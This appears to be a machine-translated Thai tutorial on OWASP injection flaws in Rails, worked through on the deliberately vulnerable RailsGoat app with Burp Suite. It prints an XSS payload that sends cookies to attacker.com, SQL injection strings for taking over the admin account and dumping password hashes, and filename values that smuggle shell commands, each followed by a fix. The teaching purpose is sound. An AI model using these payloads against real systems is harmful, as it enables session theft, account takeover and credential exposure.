หากคุณจัดการกับข้อมูลผู้ใช้ คุณต้องแน่ใจว่าข้อมูลนั้นปลอดภัย อย่างไรก็ตาม หากคุณเพิ่งเริ่มใช้ความปลอดภัย อาจดูยุ่งยาก น่าเบื่อ และซับซ้อน
บทความนี้เป็นบทความชุดแรกในซีรีส์ที่จะสอนคุณเกี่ยวกับประเภทช่องโหว่ด้านความปลอดภัยทั่วไปและผลกระทบต่อการพัฒนา Rails เราจะใช้ OWASP Top 10 Web Application Security Risks เป็นแผนที่ของเราผ่านภูมิประเทศนี้
OWASP ย่อมาจาก Open Web Application Security Project เป็นกลุ่มผู้เชี่ยวชาญที่ทำงานเพื่อให้ความรู้แก่โลกเกี่ยวกับปัญหาด้านความปลอดภัยที่สำคัญบนเว็บ 10 อันดับแรก list ระบุช่องโหว่ที่พบบ่อยที่สุดในแอปพลิเคชันเว็บ:
- การฉีด
- การตรวจสอบสิทธิ์ใช้งานไม่ได้
- การเปิดเผยข้อมูลที่ละเอียดอ่อน
- เอนทิตีภายนอก XML (XXE)
- การควบคุมการเข้าใช้งานเสีย
- การกำหนดค่าความปลอดภัยผิดพลาด
- Cross-site Scripting (XSS)
- ดีซีเรียลไลเซชันที่ไม่ปลอดภัย
- การใช้ส่วนประกอบที่มีช่องโหว่ที่ทราบ
- การบันทึกและการตรวจสอบไม่เพียงพอ
แม้ว่าพวกเขาจะอัปเดตรายการเป็นประจำ แต่ก็เปลี่ยนแปลงน้อยกว่าที่คุณคาดไว้ เทคโนโลยีใหม่สืบทอดปัญหาเก่า ในงานชิ้นนี้ เราจะกล่าวถึงสามหัวข้อที่เกี่ยวข้องกับการฉีด:
- JavaScript Injection - เมื่อแอปพลิเคชันยอมรับข้อมูลที่เป็นอันตรายจากลูกค้า อย่าตรวจสอบ/ฆ่าเชื้อข้อมูล และส่งกลับไปยังเบราว์เซอร์
- SQL Injection - เมื่อชิ้นส่วนของ SQL ถูกส่งโดยเจตนาโดยเป็นส่วนหนึ่งของการสืบค้นฐานข้อมูลไปยังล่าม SQL ที่ไม่ปลอดภัย หลอกให้ล่ามเรียกใช้คำสั่งที่เป็นอันตรายหรือเข้าถึงข้อมูลที่ละเอียดอ่อน
- OS Injection - เมื่อผู้โจมตีมุ่งหมายที่จะเรียกใช้คำสั่งของระบบในแอปพลิเคชันที่ไม่ได้รับการป้องกันซึ่งป้อนข้อมูลจากคำสั่งของระบบ
เราจะไปจากทฤษฎีสู่การปฏิบัติเพื่อแสดงให้เห็นอย่างสมบูรณ์ว่าแต่ละทฤษฎีทำงานอย่างไร มาดำน้ำกันเถอะ!
ภัยคุกคามจากการฉีด
หากคุณจัดการแหล่งข้อมูลในแอปพลิเคชันของคุณ แสดงว่าคุณมีเวกเตอร์การฉีดที่เป็นไปได้อยู่ภายในนั้น เมื่อพูดถึงวิธีที่สร้างสรรค์และสร้างสรรค์ในการแฮ็กแอปของคุณ แฮกเกอร์ยังคงคิดค้นสิ่งใหม่ๆ ที่จะทำให้คุณประหลาดใจ
มาเริ่มกันที่โลกแห่งการโจมตีของการฉีด หากคุณคิดว่าแอปของคุณปลอดภัยและได้รับการปกป้อง ให้คิดใหม่
การฉีด JavaScript
การแทรก JavaScript หรือที่เรียกกันทั่วไปว่า cross-site scripting (XSS) เป็นการหลอกลวงให้แอปพลิเคชันแบ็กเอนด์ (ซึ่งลูกค้าเชื่อถือ) ให้ส่งข้อมูลที่เป็นอันตรายและ/หรือสคริปต์กลับไปยังเบราว์เซอร์
เมื่อสิ่งนี้เกิดขึ้น ผู้โจมตีสามารถเรียกใช้สคริปต์ในเบราว์เซอร์ของผู้ใช้เพื่อขโมยเซสชัน ขอข้อมูลที่ละเอียดอ่อน "ในชื่อ" แอปพลิเคชัน หรือเปลี่ยนเส้นทางผู้ใช้ไปยังเว็บไซต์ที่เป็นอันตราย
ลองใช้ส่วนความคิดเห็นบล็อกที่มีชื่อเสียงเป็นตัวอย่าง ลองนึกภาพว่าแอปพลิเคชันของคุณมีความเสี่ยงอย่างสมบูรณ์และได้รับ POST สำหรับความคิดเห็นใหม่ในบล็อกของคุณ และค่าจะถูกส่งไปยังฐานข้อมูลโดยตรงโดยไม่มีการฆ่าเชื้อ:
POST https://myblog.com/comments
data: <script>window.location='https://attacker.com?cookie='+document.cookie</script>
เมื่อเว็บไซต์ของคุณโหลดส่วนความคิดเห็นซ้ำ ระบบจะดึงความคิดเห็นใหม่ซึ่งจะเรียกใช้สคริปต์ที่กำหนดบนเบราว์เซอร์
สคริปต์ซึ่งทำงานภายในหน้าแอปพลิเคชัน (ยอมรับได้ทั้งหมด) รับข้อมูลคุกกี้ของผู้ใช้และส่งไปยังไซต์ของผู้โจมตีโดยตรง
การฉีด SQL
การฉีด SQL เกิดขึ้นเมื่อแอปพลิเคชันที่เกี่ยวข้องกับฐานข้อมูล SQL ไม่ได้ล้างข้อมูลอินพุตของผู้ใช้อย่างปลอดภัยทุกครั้งที่อินพุตนี้ถูกเชื่อม (หรือสอดแทรก) กับข้อความค้นหาใดๆ ของคุณ
มีภัยคุกคามหลักสองประการที่เกี่ยวข้องกับการฉีด SQL ที่คุณอาจทราบในโลกของ Rails:การต่อกันของการฉีด และ การแก้ไข . มาดูความแตกต่างกัน
การต่อข้อมูลการฉีด SQL มีชื่อเสียงมากที่สุด มันเกิดขึ้นเมื่อผู้โจมตีส่งชิ้นส่วนของ SQL ที่เป็นอันตรายซึ่งเป็นส่วนหนึ่งของพารามิเตอร์การสืบค้น HTTP หรือเนื้อหาคำขอ เป็นเคล็ดลับที่ใช้ได้กับฐานข้อมูลส่วนใหญ่หากเลเยอร์แอปพลิเคชันของคุณไม่สามารถระบุเนื้อหาประเภทนี้และฆ่าเชื้อได้
ตัวอย่างเช่น สมมติว่าคุณกำลังค้นหาผู้ใช้โดยใช้ชื่อผู้ใช้ของเขาหรือเธอเพื่อดึงข้อมูลที่ละเอียดอ่อน:
User.where("name = '#{userName}'")
พิจารณาว่า userName
เป็นการป้อนข้อมูลของผู้ใช้ที่ไม่ได้ถูกสุขอนามัย ผู้โจมตีสามารถเปลี่ยนค่าของพารามิเตอร์เป็น
' OR '1'='1' --
ดังนั้น ข้อความค้นหาของคุณจะถูกแปลงเป็น:
SELECT * FROM users WHERE username = '' OR '1'='1';
เนื่องจากเงื่อนไขที่เพิ่มล่าสุดจะเท่ากับ true
. เสมอ , แบบสอบถามนี้จะถูกดำเนินการเสมอ โดยเปิดเผยข้อมูลที่ละเอียดอ่อนหลายร้อยชิ้นจากผู้ใช้ของคุณ
การแก้ไข SQL สามารถนำไปสู่การฉีด ยังไง? คุณจำ คุณลักษณะการกำหนดขอบเขต . ได้หรือไม่ ของ ActiveRecord ของ Rails? ช่วยให้เราสามารถระบุการสืบค้นที่คุณใช้จำนวนมากเพื่ออ้างอิงเป็นการเรียกใช้เมธอด (เช่น where
, joins
และ includes
) บนวัตถุหรือแบบจำลองการเชื่อมโยง ยกตัวอย่างนี้:
class User < ApplicationRecord
scope :filtered_name, -> { where(name: interpolated_string) }
end
คุณอาจเดาส่วนที่เหลือ หากมี where
ข้อ เพื่อให้นักพัฒนาสามารถเชื่อมค่าอินพุตที่ไม่ถูกสุขลักษณะได้ มันจะนำไปสู่การฉีด SQL แบบเดียวกันในตัวอย่างก่อนหน้านี้
การฉีด OS
การแทรก OS เกิดขึ้นเมื่อแอปพลิเคชันอนุญาตให้ผู้ใช้ป้อนคำสั่งระดับระบบและไม่กรองคำสั่งเหล่านั้น
ผลที่ตามมาอาจเป็นอันตรายได้ เนื่องจากผู้โจมตีจะมีช่องสัญญาณฟรีไปยังระบบปฏิบัติการที่แอปพลิเคชันทำงานอยู่ มันสามารถเปิดเผยข้อมูลและไฟล์จากแอปพลิเคชันอื่นๆ ที่ทำงานอยู่ที่นั่นได้เช่นกัน
ทั้งนี้ขึ้นอยู่กับการตั้งค่าเลเยอร์ความปลอดภัยพื้นฐานของระบบปฏิบัติการเมื่อใดก็ตามที่คุณเห็นบรรทัดโค้ดใดบรรทัดหนึ่งต่อไปนี้ในฐานโค้ดของ Rails โปรดทราบว่าอาจมีการฉีด OS ที่นั่น:
%x[...]
system()
exec()
`my command` // the backticks
พิจารณาการใช้งาน Rails ต่อไปนี้:
new_path = "/root/public/images/#{some_path}"
system("ls #{new_path}")
ระบุว่า some_path
มาจากไคลเอนต์ ผู้โจมตีสามารถส่งค่าได้ดังนี้:
some_path = 'some/path; cat ./config/database.yml'
คุณเข้าใจแล้วใช่ไหม ข้อมูลฐานข้อมูลทั้งหมด รวมถึงข้อมูลประจำตัว (หากไม่ได้จัดเก็บอย่างปลอดภัยในการกำหนดค่าคลาวด์) จะถูกเปิดเผยต่อผู้โจมตี
โครงการ RailsGoat
เพื่อประหยัดเวลาและไม่ต้องพัฒนาตัวอย่างที่เปราะบางตั้งแต่เริ่มต้น โชคดีที่เรามีโครงการ RailsGoat มันเป็นหนึ่งในโครงการโอเพนซอร์ซมากมาย (754 โครงการ) ที่ให้บริการโดยที่เก็บ OWASP GitHub อย่างเป็นทางการ ซึ่งสร้างขึ้นสำหรับ Rails โดยมีช่องโหว่ 10 อันดับแรกส่วนใหญ่ที่ตั้งโปรแกรมไว้เพื่อให้ความรู้นักพัฒนาเกี่ยวกับภัยคุกคามด้านความปลอดภัย
ในชุดนี้ เราจะใช้ตัวอย่างโครงการเพื่อสำรวจความเสี่ยงให้ลึกขึ้นอีกเล็กน้อยและนำไปปฏิบัติจริงได้ดียิ่งขึ้น!
ตั้งค่า
ก่อนที่คุณจะไปต่อ โปรเจ็กต์นี้มีการอ้างอิงที่จำเป็น:Ruby, Git, MySQL และ Postgres ตรวจสอบให้แน่ใจว่าได้ติดตั้งทั้งหมดไว้ในเครื่องของคุณก่อนที่จะดำเนินการต่อไป
หากต้องการตั้งค่าโปรเจ็กต์ ก่อนอื่น ให้โคลนในเครื่อง:
git clone https://github.com/OWASP/railsgoat.git
มีการกำหนดเป้าหมายเป็นค่าเริ่มต้นใน Ruby 2.6.5 ดังนั้นโปรดติดตั้งเวอร์ชันที่ถูกต้องหากคุณยังไม่มี:
rvm install "ruby-2.6.5"
ถัดไป ออกคำสั่งต่อไปนี้ในโฟลเดอร์รูทของแอป:
bundle install
rails db:setup
rails s
พวกเขาจะดาวน์โหลดและติดตั้งการขึ้นต่อกันของโปรเจ็กต์ Rails ตั้งค่าฐานข้อมูล และเริ่มเซิร์ฟเวอร์ Rails ตามลำดับ
การปรับเปลี่ยนเล็กน้อย
ขึ้นอยู่กับระบบปฏิบัติการของคุณและเนื่องจาก RailsGoat ค่อนข้างล้าสมัย (รุ่นล่าสุดคือมีนาคม 2018) install
คำสั่งอาจสร้างข้อผิดพลาดบางอย่าง ตัวอย่างเช่น หากคุณใช้ Mac และพบข้อผิดพลาดต่อไปนี้ที่คอนโซลของคุณ:
ข้อผิดพลาดของคอนโซลเกี่ยวกับ libv8
จากนั้นเพียงติดตั้งอัญมณีที่ต้องการ:
gem install libv8 -v '3.16.14.19' -- --with-system-v8
อีกอย่างที่น่าจะตำหนิก็คือ therubyracer gem เนื่องจากข้อบกพร่องที่เกี่ยวข้องกับเวอร์ชันนี้ของ Ruby's libv8 . อย่าลืมรันคำสั่งต่อไปนี้:
brew install v8-315
gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/[email protected]
โดยค่าเริ่มต้น การตั้งค่าปัจจุบันจะถือว่า SQLite เป็นฐานข้อมูลเริ่มต้น อย่างไรก็ตาม สำหรับตัวอย่างต่อไป เราจำเป็นต้องมีฐานข้อมูลจริง เราจะใช้ MySQL
ขั้นแรก เปิดไฟล์ config/database.yml ค้นหา mysql
node และเปลี่ยนการกำหนดค่าตามข้อมูลรับรอง MySQL ของคุณ คุณสามารถปล่อยให้ชื่อฐานข้อมูลตามที่เป็นอยู่
หยุดเซิร์ฟเวอร์ Rails และตรวจสอบให้แน่ใจว่ามี MySQL ทำงานอยู่ จากนั้นรันคำสั่งต่อไปนี้:
#Create the MySQL database
RAILS_ENV=mysql rails db:create
#Run the migrations against the database
RAILS_ENV=mysql rails db:migrate
#Seeds the database with initial records
RAILS_ENV=mysql rails db:seed
#Boot Rails using MySQl
RAILS_ENV=mysql rails s
หรือคุณสามารถเริ่ม RailsGoat ผ่าน Docker ขึ้นอยู่กับคุณ!
แค่นั้นแหละ! ตอนนี้คุณสามารถเปิดเบราว์เซอร์และลงชื่อเข้าใช้แอป RailsGoat คุณอาจพบข้อมูลรับรองที่สร้างขึ้นโดยอัตโนมัติที่ปุ่ม "ข้อมูลรับรองบทแนะนำ" ของแถบด้านบน เลือกหนึ่งรายการ แต่ต้องไม่ใช่ผู้ดูแลระบบ
แอปพลิเคชัน MetaCorp Rails
การตั้งค่าพร็อกซี HTTP
แฮกเกอร์ทำงานโดยการดมกลิ่นสิ่งของต่างๆ ส่วนใหญ่เป็นคำขอ HTTP และการตอบสนอง พวกเขาใช้ประโยชน์จากแอปพลิเคชันพร็อกซี HTTP ที่ทำงานระหว่างเบราว์เซอร์และเซิร์ฟเวอร์โดยการสกัดกั้น แสดงภาพ และแก้ไขคำขอและการตอบสนอง
สำหรับซีรีส์นี้ เราจำเป็นต้องมีหนึ่งในนั้นด้วย และเครื่องมือที่สมบูรณ์แบบสำหรับงานนี้คือ เรอ มันเป็นเครื่องมือแบบชำระเงินสำหรับองค์กร แต่เวอร์ชันชุมชนฟรีนั้นเพียงพอสำหรับวัตถุประสงค์ของเรา ดังนั้น ไปข้างหน้า ดาวน์โหลดและติดตั้งโดยทำตามคำแนะนำอย่างเป็นทางการ
อย่าลืมว่า Burp นั้นสร้างด้วย Java ดังนั้นคุณจะต้องติดตั้ง Java ด้วย
อย่าลืมทำตามคำแนะนำเหล่านี้เพื่อให้ทำงานได้อย่างถูกต้อง เมื่อเปิดเครื่องมือแล้ว ให้ไปที่ Proxy> Intercept ให้สลับปุ่ม "การสกัดกั้นเปิดอยู่ " แล้วตามด้วย "เปิดเบราว์เซอร์ " ซึ่งจะเป็นการเปิด Google Chromium ที่เชื่อมต่อโดยตรงกับ Burp และช่วยให้เราดมกลิ่นคำขอ/ตอบกลับได้
พิมพ์บางอย่างที่นั่นและดูว่า Burp ติดตามสิ่งต่างๆ ได้อย่างไร
ภัยคุกคามในการดำเนินการ
มาดูกันว่าภัยคุกคามที่เราพูดถึงก่อนหน้านี้เกิดขึ้นได้อย่างไรในสถานการณ์จริง เราจะเริ่มต้นด้วยการแทรก JavaScript
การทำงานของการฉีด JavaScript
ในแอป RailsGoat ให้เปิด _header.html.erb ไฟล์ที่อยู่ใน views/layouts/shared โฟลเดอร์ คุณอาจพบตัวอย่าง HTML ต่อไปนี้:
<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li>
ปรากฎว่าวิธีการ Rails นี้เรียกชื่อที่ปลอดภัยซึ่งไม่ใช่ โดยจะบอกว่าสตริงนั้นเชื่อถือได้หรือไม่ว่าปลอดภัยแต่ไม่ได้ทำให้ข้อมูลของผู้ใช้ปลอดภัย
ตรวจสอบให้แน่ใจว่า Burp ไม่ทำงาน จากนั้นไปที่หน้าลงทะเบียนและพิมพ์ข้อมูลต่อไปนี้ลงในฟิลด์ "First Name":
<script>alert("hello, XSS!")</script>
เสร็จสิ้นการลงทะเบียนและเข้าสู่ระบบด้วยผู้ใช้ที่สร้างขึ้นใหม่ คุณอาจเห็นแถบการนำทางแสดง "Welcome " + the script code
.
วิธีแก้ปัญหานี้
นี่เป็นความเข้าใจผิดที่พบบ่อย นักพัฒนามักใช้วิธีนี้ แต่ไม่ได้รักษาความปลอดภัยข้อมูล คุณต้องใช้ sanitize
. แทน เมื่อใดก็ตามที่คุณต้องการแสดง HTML อย่างชัดเจน
ในตัวอย่าง เพียงแค่ลบ .html_safe
และการโจมตีจะถูกกำจัด
เคล็ดลับที่ดีคือการรวมเครื่องมืออย่าง SonarQube เข้ากับโครงการของคุณ เครื่องมือเหล่านี้จะระบุภัยคุกคามทั่วไปดังที่กล่าวมา และแจ้งเตือนนักพัฒนาเกี่ยวกับอันตรายและวิธีแก้ไข
ไม่ควรอาศัยหน่วยความจำของนักพัฒนาเพียงผู้เดียว
การฉีด SQL:ตัวอย่างการต่อกัน
ตัวอย่างการฉีด RailsGoat SQL ของเราอยู่ภายใน users_controller.rb , ภายใน app/controllers โฟลเดอร์ เปิดและดูเนื้อหา
คุณอาจเห็นสองวิธีหลักในการสร้างและอัปเดตข้อมูลผู้ใช้ภายในฐานข้อมูล คุณตรวจพบสิ่งผิดปกติในupdate
.ของเราได้ไหม กระบวนการ? ไปลองเลย!
ไปเลย:
user = User.where("id = '#{params[:user][:id]}'")[0]
คุณรู้ว่ามันไม่ถูกต้องที่จะเชื่อมสิ่งต่าง ๆ ในประโยคที่ แต่มาทดสอบความเป็นไปได้ในการแฮ็กกันก่อนทำการแก้ไข
กลับไปที่แอปที่ทำงานอยู่บนเบราว์เซอร์ Burp Chromium และไปที่ การตั้งค่าบัญชี เมนู:
การเข้าถึงการตั้งค่าบัญชี
เมื่อถึงที่นั่นแล้ว ให้เปิดเครื่องมือ Burp และตรวจสอบว่าปุ่ม "เปิดการสกัดกั้น " ถูกสลับ จากนั้น กรอกข้อมูลในฟิลด์รหัสผ่านด้วยค่าบางอย่าง และคลิก ส่ง .
เรอจะสกัดกั้นคำขอและภายใน พารามิเตอร์ แท็บ คุณอาจเห็นสิ่งที่คล้ายกับที่แสดงด้านล่าง
เครื่องมือ Burp Suite - แท็บพารามิเตอร์
ใช่ พารามิเตอร์คำขอทั้งหมดของคุณจะปรากฏที่นี่ สิ่งเหล่านี้ไม่เพียงมองเห็นได้เท่านั้น แต่ยังสามารถแก้ไขได้ เรอจะระงับคำขอของคุณจนกว่าคุณจะแก้ไขเสร็จแล้วจึงปล่อยไปยังเซิร์ฟเวอร์
คุณสามารถทำเช่นเดียวกันสำหรับคำตอบของคุณ
เยี่ยมมาก มาหลอกลวงแอปพลิเคชันกันเถอะ เป้าหมายของเราคืออัปเดตรหัสผ่านของผู้ดูแลระบบมากกว่าผู้ใช้ที่เข้าสู่ระบบในปัจจุบัน
ขั้นแรก คุณต้องลบ email
. ของผู้ใช้ , first_name
และ last_name
params เนื่องจากเราไม่ได้มุ่งหมายที่จะเปลี่ยนค่าเหล่านี้สำหรับผู้ใช้ที่เป็นผู้ดูแลระบบ
ประการที่สอง คุณสามารถแก้ไข user[id]
ค่าพารามิเตอร์ต่อไปนี้:
0') OR admin = true -- '
เกิดอะไรขึ้นที่นี่? ค่าที่แสดงข้างต้น 6 หมายถึง ID ผู้ใช้ที่บันทึกไว้ในปัจจุบัน อย่างไรก็ตาม เราไม่ต้องการเปลี่ยนแปลงอะไรที่เกี่ยวข้องกับผู้ใช้รายนี้ เพียงแค่ผู้ดูแลระบบ ศูนย์ไม่เกี่ยวข้องกับใคร ซึ่งดีตั้งแต่เงื่อนไขหลัง OR
คือสิ่งสำคัญสำหรับเรา
พิจารณาว่าเราไม่รู้จัก ID ของผู้ดูแลระบบ (ถ้ารู้ก็จะช่วยประหยัดเวลาได้) เราจึงต้องหลอกให้ฐานข้อมูลเลือกผ่าน admin
คอลัมน์บทบาท
เมื่อคุณแก้ไขเสร็จแล้ว ให้คลิกปุ่ม ส่งต่อ เพื่อให้คำขอได้รับการปล่อยตัวและรหัสผ่านของผู้ดูแลระบบจะได้รับการอัปเดต
นี่คือ SQL Rails ที่จะสร้าง:
SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '')
ตอนนี้ เข้าสู่ระบบบัญชีผู้ดูแลระบบด้วยรหัสผ่านใหม่ของคุณ
วิธีแก้ปัญหานี้
มีวิธีที่ปลอดภัยในการแก้ปัญหานี้ คุณสามารถดึงข้อมูลผู้ใช้จากฐานข้อมูลก่อนที่จะมีการอัปเดต โดยไม่คำนึงถึงสิ่งที่มาจากคำขอของไคลเอ็นต์
อย่างไรก็ตาม ขึ้นอยู่กับรูปแบบการเขียนโค้ดของนักพัฒนา ซึ่งไม่รับประกันเสมอไป
ดังนั้นจึงเป็นการสืบค้นฐานข้อมูลแบบกำหนดพารามิเตอร์เพื่อช่วยเหลือ! มาดูกัน:
user = User.where("id = ?", params[:user][:id])[0]
มันง่ายอย่างนั้น! ไม่มีการแฮ็คอีกต่อไป
การฉีด SQL:ตัวอย่างการประมาณค่า
ใน RailsGoat คำขอแต่ละรายการจะถูกเก็บไว้ในฐานข้อมูลเป็นคุณลักษณะการตรวจสอบ สำหรับตัวอย่างนี้ เรามาวิเคราะห์ analytics.rb class ซึ่งเก็บขอบเขตที่เรียกว่า hits_by_ip
. นี่คือคุณลักษณะของผู้ดูแลระบบที่แสดงรายการข้อมูลคำขอจากฐานข้อมูล
มาดูกันว่าโมเดลนี้จะสอดแทรกสตริงภายในขอบเขตอย่างไร:
scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") }
อย่างไรก็ตาม วิธีนี้อันตราย! มาดูกันว่าทำไม เนื่องจากคุณเข้าสู่ระบบในฐานะผู้ใช้ทั่วไป บางเมนูจะไม่ปรากฏขึ้น แต่ไม่ได้หมายความว่าปลายทางจะไม่พร้อมใช้งาน ดังนั้น เข้าไปที่ https://localhost:3000/admin/1/analytics address
เนื่องจากเราทำงานในระดับ localhost คุณจะพบเฉพาะข้อมูลใน 127.0.0.1 ไอพี อย่างไรก็ตาม ในการผลิต คุณจะต้องค้นหา IP ไคลเอ็นต์ของคุณ
ดังนั้น พิมพ์ 127.0.0.1 ลงใน "ค้นหาตาม IP " textbox แล้วกด Enter อย่าลืมเปิดปุ่มสกัดกั้นบนเครื่องมือ Burp ของคุณ
เมื่อคุณอยู่ใน Params คุณสามารถคลิก เพิ่ม ปุ่มเพื่อเพิ่มพารามิเตอร์ใหม่ของ URL พิมพ์และตั้งชื่อดังต่อไปนี้:
field[(select+group_concat(password)+from+users+where+admin=true)]
เนื่องจากขอบเขตได้รับสตริงที่มีการสอดแทรก คุณสามารถเพิ่มกฎให้กับคิวรีแบบใช้เลือกข้อมูลได้มากเท่าที่คุณต้องการ ข้อความค้นหานี้จะกลายเป็นสิ่งนี้โดยเฉพาะ:
SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC;
หมายความว่าเรากำลังดึงรหัสผ่านที่แฮชของผู้ดูแลระบบจากฐานข้อมูลและแสดงไว้ในมุมมองของเราโดยตรง:
กำลังค้นหารหัสผ่านที่แฮชของผู้ดูแลระบบ
วิธีแก้ปัญหานี้
ก่อนอื่น ตรวจสอบให้แน่ใจว่าผู้ใช้ของคุณจะสามารถเข้าถึงเฉพาะสิ่งที่พวกเขาต้องเข้าถึงเท่านั้น ปลายทางดังกล่าวไม่ควรเข้าถึงหรือไม่มีการป้องกัน
คุณสามารถใช้ไวท์ลิสต์ค่าที่ควรยอมรับและจำกัดค่าที่ไม่ควรอนุญาต ลองดูที่ parse_field
เมธอดภายในคลาสโมเดลเดียวกัน จะตรวจสอบว่าฟิลด์ที่กำหนดรวมอยู่ในอาเรย์รายการที่อนุญาตหรือไม่
ดังนั้น ก่อนที่จะเรียกขอบเขตของแบบจำลอง คุณอาจทบทวนพารามิเตอร์และตรวจสอบว่าเหมาะสมหรือไม่ มาทำกันโดยอัปเดตบรรทัดที่ 18 ของ admin_controller.rb (ซึ่งเรียกขอบเขต):
fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")
การทำงานของ OS Injection
มาสำรวจตัวอย่างการฉีด OS ภายใน RailsGoat เปิด benefits.rb โมเดลภายใต้ app/models โฟลเดอร์และดู make_backup
วิธีการ
วิธีนี้จะสร้างสำเนาสำรองของไฟล์ที่กำลังอัปโหลดผ่าน “แบบฟอร์มสิทธิประโยชน์ ” ของแอปพลิเคชัน ดูเหมือนจะไม่มีปัญหาที่นี่ ยกเว้นว่าวิธีนี้ใช้system
คำสั่ง:
silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }
ดูเหมือนถูกต้องตั้งแต่แรกเห็น แต่ดูอีกครั้ง เราสามารถผนวกคำสั่งระบบอื่นๆ จากอินพุตของผู้ใช้ได้อย่างสมบูรณ์ และคำสั่งเหล่านั้นก็ใช้ได้ดี เช่น การสร้างไฟล์
เดี๋ยวก่อน นี่คือคุณสมบัติการอัปโหลดไฟล์ เราจะอัปเดตอินพุตของไฟล์ได้อย่างไร ไปดูกันเลยดีกว่า
กลับไปที่แอป RailsGoat คลิกเมนู "แบบฟอร์มผลประโยชน์" เลือกไฟล์ที่คุณต้องการ แล้วเปิดปุ่มสกัดกั้นเรอ จากนั้นคลิก เริ่มการอัปโหลด .
เมื่อคำขอถูกสกัดกั้น คุณจะเห็นเนื้อหาส่วนหัวดังที่แสดงด้านล่าง
การอัปโหลดไฟล์ถูกสกัดกั้น
ในภาพ คุณจะเห็นพารามิเตอร์ที่ไฮไลต์อยู่สองพารามิเตอร์:benefits[backup]
และ benefits[upload]
.
เราต้องเปลี่ยนค่าของอันแรกเป็น true
เนื่องจากเราต้องการเปิดใช้งานโฟลว์ที่ทำการสำรองข้อมูลของไฟล์และดังนั้นจึงมีช่องโหว่อยู่
ถัดไป เปลี่ยน filename
คุณสมบัติของพารามิเตอร์ที่สองของคุณดังต่อไปนี้:
filename="kid-2.png;+touch+abc.txt"
จากนั้นปล่อยปุ่มสกัดกั้น ซึ่งจะแปลเป็นคำสั่งใหม่เมื่อสิ้นสุดการทำงาน ซึ่งจะสร้างไฟล์ใหม่ชื่อ abc.txt . นอกจากจะเรียบง่ายแล้ว นี่เป็นตัวอย่างที่ดีที่แสดงให้เห็นว่าโฟลว์ของคุณมีช่องโหว่เพียงใด และเป็นสนามเด็กเล่นที่สมบูรณ์แบบสำหรับแฮ็กเกอร์หรือไม่
การป้องกันการแทรก OS
อาจดูเหมือนชัดเจนเล็กน้อย ทำไมมีคนคัดลอกไฟล์ผ่านระบบคำสั่ง? คุณจะต้องตกใจกับจำนวนแอปพลิเคชันรุ่นเก่าที่กำลังจะหมดลง ฐานข้อมูลจำนวนมากประกอบด้วยฐานรหัสขนาดมหึมา ซึ่งสามารถเปลี่ยนงานตรวจจับช่องโหว่ดังกล่าวให้เป็นงานที่ยากได้
ใช่ เพียงใช้ประโยชน์จากไลบรารีภายในอย่างเป็นทางการ เช่น Ruby's FileUtils:
FileUtils.cp
"#{full_file_name}",
"#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"
สรุปผล
วันนี้ เราสำรวจผ่านน่านน้ำเชี่ยวของภัยคุกคามความปลอดภัยฉีด แม้ว่างานชิ้นนี้จะไม่ได้ครอบคลุมปัญหาที่เกี่ยวข้องทั้งหมดเกี่ยวกับปัญหาการฉีด แต่จะสำรวจปัญหาที่มีชื่อเสียงที่สุด ตามที่ OWASP ระบุ
เพื่อเป็นโบนัส ฉันจะให้ลิงก์สำคัญที่จะช่วยปรับปรุงความรู้ของคุณในเรื่องนั้น อันแรกคือบทความ OWASP Top Ten; มีลิงก์ภายนอกมากมายไปยังบทความอื่นๆ ที่มีตัวอย่างและสถานการณ์ต่างๆ
Rails SQL Injection เป็นเอกสารประกอบที่รวบรวมโดยสมาชิกบางคนของชุมชนที่กล่าวถึงการฉีด SQL ทั่วไปผ่านตัวอย่างที่ใช้งานได้จริง เป็นเรื่องที่ต้องอ่านหลังจากที่เราได้กล่าวถึงไปแล้ว
สุดท้ายแต่ไม่ท้ายสุด มีเอกสาร Security Rails อย่างเป็นทางการ ครอบคลุมทุกอย่างเกี่ยวกับความปลอดภัยภายในแอปพลิเคชัน Rails รวมถึงการฉีด ดังนั้นอย่าลืมอ่านให้ละเอียด ศึกษาต่อ แล้วพบกันที่จุดต่อไป!